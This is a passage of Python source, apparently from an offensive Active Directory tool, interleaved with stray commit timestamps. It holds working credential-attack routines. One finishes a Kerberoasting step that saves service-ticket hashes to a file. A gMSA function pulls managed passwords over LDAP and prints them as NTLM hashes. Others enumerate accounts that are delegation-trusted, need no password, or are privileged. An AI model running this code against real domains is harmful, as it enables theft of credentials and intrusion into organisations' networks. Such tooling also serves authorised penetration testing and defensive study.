TGT['sessionKey'])
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
2022-07-06 13:34:07 +00:00
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
self.logger.highlight(u'{}'.format(r))
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
hash_kerberoasting.write(r + '\n')
dejavue.append(sAMAccountName)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
2022-07-06 13:34:07 +00:00
return True
else:
self.logger.highlight("No entries found!")
return
self.logger.error("Error with the LDAP account used")
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
resp = self.search(searchFilter, attributes, 0)
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
logging.debug(answers)
for value in answers:
self.logger.highlight(value[0])
else:
self.logger.error("No entries found!")
return
def password_not_required(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
return False
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
status = 'enabled'
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
if int(attribute['vals'][0]) & 2 :
status = 'disabled'
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
logging.debug(answers)
for value in answers:
self.logger.highlight("User: " + value[0] + " Status: " + value[5])
else:
self.logger.error("No entries found!")
return
def admin_count(self):
# Building the search filter
searchFilter = "(adminCount=1)"
attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
resp = self.search(searchFilter, attributes, 0)
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
logging.debug(answers)
for value in answers:
self.logger.highlight(value[0])
else:
self.logger.error("No entries found!")
2022-10-14 17:13:17 +00:00
return
2022-10-14 17:13:17 +00:00
def gmsa(self):
self.logger.info("Getting GMSA Passwords")
2022-10-19 09:48:22 +00:00
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
attributes=['sAMAccountName', 'msDS-ManagedPassword','msDS-GroupMSAMembership'],
sizeLimit=0,
searchBase=self.baseDN)
if gmsa_accounts:
answers = []
logging.debug('Total of records returned %d' % len(gmsa_accounts))
2022-10-19 09:48:22 +00:00
for item in gmsa_accounts:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ''
managedPassword = ''
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
if str(attribute['type']) == 'msDS-ManagedPassword':
data = attribute['vals'][0].asOctets()
2022-10-14 17:13:17 +00:00
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob['CurrentPassword'][:-2]
ntlm_hash = MD4.new ()
ntlm_hash.update (currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
2022-10-19 09:48:22 +00:00
self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd))
2022-10-14 17:17:04 +00:00
return True